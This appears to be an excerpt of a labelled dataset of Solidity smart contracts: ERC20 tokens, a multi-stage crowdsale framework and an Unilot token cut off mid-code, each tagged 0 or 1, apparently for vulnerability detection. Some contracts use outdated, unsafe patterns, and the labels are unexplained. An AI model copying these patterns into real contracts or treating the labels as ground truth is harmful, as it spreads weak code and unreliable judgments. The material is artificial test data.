source_codes
stringlengths 3
205k
| labels
int64 0
1
|
|---|---|
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract Remitano is ERC20 {
string public constant name = "Remitano";
string public constant symbol = "RET";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals));
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
} | 1 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status, uint minCap, uint maxCap) onlyOwner {
if (!isWhiteListed) throw;
earlyParticipantWhitelist[addr] = WhiteListData({status:status, minCap:minCap, maxCap:maxCap});
Whitelisted(addr, status);
}
function setEarlyParicipantsWhitelist(address[] addrs, bool[] statuses, uint[] minCaps, uint[] maxCaps) onlyOwner {
if (!isWhiteListed) throw;
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setEarlyParicipantWhitelist(addrs[iterator], statuses[iterator], minCaps[iterator], maxCaps[iterator]);
}
}
function updateEarlyParicipantWhitelist(address addr, address contractAddr, uint tokensBought) {
if (tokensBought < earlyParticipantWhitelist[addr].minCap) throw;
if (!isWhiteListed) throw;
if (addr != msg.sender && contractAddr != msg.sender) throw;
uint newMaxCap = earlyParticipantWhitelist[addr].maxCap;
newMaxCap = newMaxCap.minus(tokensBought);
earlyParticipantWhitelist[addr] = WhiteListData({status:earlyParticipantWhitelist[addr].status, minCap:0, maxCap:newMaxCap});
}
function updateJoinedCrowdsales(address addr) onlyOwner {
joinedCrowdsales[joinedCrowdsalesLen++] = addr;
}
function setLastCrowdsale(address addr) onlyOwner {
lastCrowdsale = addr;
}
function clearJoinedCrowdsales() onlyOwner {
joinedCrowdsalesLen = 0;
}
function updateJoinedCrowdsalesMultiple(address[] addrs) onlyOwner {
clearJoinedCrowdsales();
for (uint iter = 0; iter < addrs.length; iter++) {
if(joinedCrowdsalesLen == joinedCrowdsales.length) {
joinedCrowdsales.length += 1;
}
joinedCrowdsales[joinedCrowdsalesLen++] = addrs[iter];
if (iter == addrs.length - 1)
setLastCrowdsale(addrs[iter]);
}
}
function setStartsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(time > endsAt) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
startsAt = time;
StartsAtChanged(startsAt);
}
function setEndsAt(uint time) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
if(now > time) {
throw;
}
if(startsAt > time) {
throw;
}
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
if (time > crowdsale.startsAt()) throw;
}
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isBreakingInvestorCap(address receiver, uint tokenAmount) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SafeMathLibExt for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedTokenCappedCrowdsaleExt is CrowdsaleExt {
uint public maximumSellableTokens;
function MintedTokenCappedCrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens, bool _isUpdatable, bool _isWhiteListed) CrowdsaleExt(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal, _isUpdatable, _isWhiteListed) {
maximumSellableTokens = _maximumSellableTokens;
}
event MaximumSellableTokensChanged(uint newMaximumSellableTokens);
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return tokensSoldTotal > maximumSellableTokens;
}
function isBreakingInvestorCap(address addr, uint tokenAmount) constant returns (bool limitBroken) {
if (!isWhiteListed) throw;
uint maxCap = earlyParticipantWhitelist[addr].maxCap;
return (tokenAmountOf[addr].plus(tokenAmount)) > maxCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return tokensSold >= maximumSellableTokens;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableTokenExt mintableToken = MintableTokenExt(token);
mintableToken.mint(receiver, tokenAmount);
}
function setMaximumSellableTokens(uint tokens) onlyOwner {
if (finalized) throw;
if (!isUpdatable) throw;
CrowdsaleExt lastCrowdsaleCntrct = CrowdsaleExt(lastCrowdsale);
if (lastCrowdsaleCntrct.finalized()) throw;
maximumSellableTokens = tokens;
MaximumSellableTokensChanged(maximumSellableTokens);
}
} | 0 |
pragma solidity ^0.4.15;
contract IToken {
function issue(address _recipient, uint256 _value) returns (bool);
function totalSupply() constant returns (uint256);
function unlock() returns (bool);
}
contract CoinoorCrowdsale {
address public beneficiary;
address public creator;
address public marketing;
address public bounty;
address public confirmedBy;
uint256 public maxSupply = 65000000 * 10**8;
uint256 public minAcceptedAmount = 40 finney;
uint256 public ratePreICO = 450;
uint256 public rateWaiting = 0;
uint256 public rateAngelDay = 420;
uint256 public rateFirstWeek = 390;
uint256 public rateSecondWeek = 375;
uint256 public rateThirdWeek = 360;
uint256 public rateLastWeek = 330;
uint256 public ratePreICOEnd = 10 days;
uint256 public rateWaitingEnd = 20 days;
uint256 public rateAngelDayEnd = 21 days;
uint256 public rateFirstWeekEnd = 28 days;
uint256 public rateSecondWeekEnd = 35 days;
uint256 public rateThirdWeekEnd = 42 days;
uint256 public rateLastWeekEnd = 49 days;
enum Stages {
Deploying,
InProgress,
Ended
}
Stages public stage = Stages.Deploying;
uint256 public start;
uint256 public end;
uint256 public raised;
IToken public token;
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier onlyBeneficiary() {
require(beneficiary == msg.sender);
_;
}
function CoinoorCrowdsale(address _tokenAddress, address _beneficiary, address _creator, address _marketing, address _bounty, uint256 _start) {
token = IToken(_tokenAddress);
beneficiary = _beneficiary;
creator = _creator;
marketing = _marketing;
bounty = _bounty;
start = _start;
end = start + rateLastWeekEnd;
}
function init() atStage(Stages.Deploying) {
stage = Stages.InProgress;
if (!token.issue(beneficiary, 4900000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(creator, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(marketing, 2500000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
if (!token.issue(bounty, 100000 * 10**8)) {
stage = Stages.Deploying;
revert();
}
}
function confirmBeneficiary() onlyBeneficiary {
confirmedBy = msg.sender;
}
function toTokens(uint256 _wei) returns (uint256 amount) {
uint256 rate = 0;
if (stage != Stages.Ended && now >= start && now <= end) {
if (now <= start + ratePreICOEnd) {
rate = ratePreICO;
}
else if (now <= start + rateWaitingEnd) {
rate = rateWaiting;
}
else if (now <= start + rateAngelDayEnd) {
rate = rateAngelDay;
}
else if (now <= start + rateFirstWeekEnd) {
rate = rateFirstWeek;
}
else if (now <= start + rateSecondWeekEnd) {
rate = rateSecondWeek;
}
else if (now <= start + rateThirdWeekEnd) {
rate = rateThirdWeek;
}
else if (now <= start + rateLastWeekEnd) {
rate = rateLastWeek;
}
}
return _wei * rate * 10**8 / 1 ether;
}
function endCrowdsale() atStage(Stages.InProgress) {
require(now > end);
stage = Stages.Ended;
if (!token.unlock()) {
stage = Stages.InProgress;
}
}
function withdraw() onlyBeneficiary atStage(Stages.Ended) {
beneficiary.transfer(this.balance);
}
function () payable atStage(Stages.InProgress) {
require(now >= start);
require(now <= end);
require(msg.value >= minAcceptedAmount);
address sender = msg.sender;
uint256 received = msg.value;
uint256 valueInTokens = toTokens(received);
require(valueInTokens > 0);
raised += received;
if (token.totalSupply() + valueInTokens >= maxSupply) {
stage = Stages.Ended;
}
if (!token.issue(sender, valueInTokens)) {
revert();
}
if (!beneficiary.send(received)) {
revert();
}
}
} | 0 |
pragma solidity ^0.4.18;
interface ERC20 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function totalSupply() public constant returns (uint);
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
}
contract UnilotToken is ERC20 {
struct TokenStage {
string name;
uint numCoinsStart;
uint coinsAvailable;
uint bonus;
uint startsAt;
uint endsAt;
uint balance;
}
string public constant symbol = "UNIT";
string public constant name = "Unilot token";
uint8 public constant decimals = 18;
uint public constant accuracy = 1000000000000000000;
uint256 internal _totalSupply = 500 * (10**6) * accuracy;
uint256 public constant singleInvestorCap = 30 ether;
uint public constant DST_ICO = 62;
uint public constant DST_RESERVE = 10;
uint public constant DST_BOUNTY = 3;
uint public constant DST_R_N_B_PROGRAM = 10;
uint public constant DST_ADVISERS = 5;
uint public constant DST_TEAM = 10;
uint public constant REFERRAL_BONUS_LEVEL1 = 5;
uint public constant REFERRAL_BONUS_LEVEL2 = 4;
uint public constant REFERRAL_BONUS_LEVEL3 = 3;
uint public constant REFERRAL_BONUS_LEVEL4 = 2;
uint public constant REFERRAL_BONUS_LEVEL5 = 1;
uint public constant TOKEN_AMOUNT_PRE_ICO = 25 * (10**6) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE1 = 5 * (10**6) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE2 = 5 * (10**6) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE3 = 5 * (10**6) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE4 = 5 * (10**6) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE5 = 1225 * (10**5) * accuracy;
uint public constant TOKEN_AMOUNT_ICO_STAGE2 = 1425 * (10**5) * accuracy;
uint public constant BONUS_PRE_ICO = 40;
uint public constant BONUS_ICO_STAGE1_PRE_SALE1 = 35;
uint public constant BONUS_ICO_STAGE1_PRE_SALE2 = 30;
uint public constant BONUS_ICO_STAGE1_PRE_SALE3 = 25;
uint public constant BONUS_ICO_STAGE1_PRE_SALE4 = 20;
uint public constant BONUS_ICO_STAGE1_PRE_SALE5 = 0;
uint public constant BONUS_ICO_STAGE2 = 0;
uint256 public constant price = 79 szabo;
address public constant ADVISORS_WALLET = 0x77660795BD361Cd43c3627eAdad44dDc2026aD17;
address public constant RESERVE_WALLET = 0x731B47847352fA2cFf83D5251FD6a5266f90878d;
address public constant BOUNTY_WALLET = 0x794EF9c680bDD0bEf48Bef46bA68471e449D67Fb;
address public constant R_N_D_WALLET = 0x794EF9c680bDD0bEf48Bef46bA68471e449D67Fb;
address public constant STORAGE_WALLET = 0xE2A8F147fc808738Cab152b01C7245F386fD8d89;
address public administrator;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint256 internal totalCoinsAvailable;
TokenStage[7] stages;
uint currentStage;
bool isDebug = false;
event StageUpdated(string from, string to);
modifier onlyAdministrator() {
require(msg.sender == administrator);
_;
}
modifier notAdministrator() {
require(msg.sender != administrator);
_;
}
modifier onlyDuringICO() {
require(currentStage < stages.length);
_;
}
modifier onlyAfterICO(){
require(currentStage >= stages.length);
_;
}
modifier meetTheCap() {
require(msg.value >= price);
_;
}
modifier isFreezedReserve(address _address) {
require( ( _address == RESERVE_WALLET ) && now > (stages[ (stages.length - 1) ].endsAt + 182 days));
_;
}
function UnilotToken()
public
{
administrator = msg.sender;
totalCoinsAvailable = _totalSupply;
isDebug = false;
_setupStages();
_proceedStage();
}
function prealocateCoins()
public
onlyAdministrator
{
totalCoinsAvailable -= balances[ADVISORS_WALLET] += ( ( _totalSupply * DST_ADVISERS ) / 100 );
totalCoinsAvailable -= balances[RESERVE_WALLET] += ( ( _totalSupply * DST_RESERVE ) / 100 );
address[7] memory teamWallets = getTeamWallets();
uint teamSupply = ( ( _totalSupply * DST_TEAM ) / 100 );
uint memberAmount = teamSupply / teamWallets.length;
for(uint i = 0; i < teamWallets.length; i++) {
if ( i == ( teamWallets.length - 1 ) ) {
memberAmount = teamSupply;
}
balances[teamWallets[i]] += memberAmount;
teamSupply -= memberAmount;
totalCoinsAvailable -= memberAmount;
}
}
function getTeamWallets()
public
pure
returns (address[7] memory result)
{
result[0] = 0x40e3D8fFc46d73Ab5DF878C751D813a4cB7B388D;
result[1] = 0x5E065a80f6635B6a46323e3383057cE6051aAcA0;
result[2] = 0x0cF3585FbAB2a1299F8347a9B87CF7B4fcdCE599;
result[3] = 0x5fDd3BA5B6Ff349d31eB0a72A953E454C99494aC;
result[4] = 0xC9be9818eE1B2cCf2E4f669d24eB0798390Ffb54;
result[5] = 0x77660795BD361Cd43c3627eAdad44dDc2026aD17;
result[6] = 0xd13289203889bD898d49e31a1500388441C03663;
}
function _setupStages()
internal
{
stages[0].name = 'Presale stage';
stages[0].numCoinsStart = totalCoinsAvailable;
stages[0].coinsAvailable = TOKEN_AMOUNT_PRE_ICO;
stages[0].bonus = BONUS_PRE_ICO;
if (isDebug) {
stages[0].startsAt = now;
stages[0].endsAt = stages[0].startsAt + 30 seconds;
} else {
stages[0].startsAt = 1515610800;
stages[0].endsAt = 1518894000;
}
stages[1].name = 'ICO Stage 1 pre-sale 1';
stages[1].coinsAvailable = TOKEN_AMOUNT_ICO_STAGE1_PRE_SALE1;
stages[1].bonus = BONUS_ICO_STAGE1_PRE_SALE1;
if (isDebug) {
stages[1].startsAt = stages[0].endsAt;
stages[1].endsAt = stages[1].startsAt + 30 seconds;
} else {
stages[1].startsAt = 1519326000;
stages[1].endsAt = 1521745200;
}
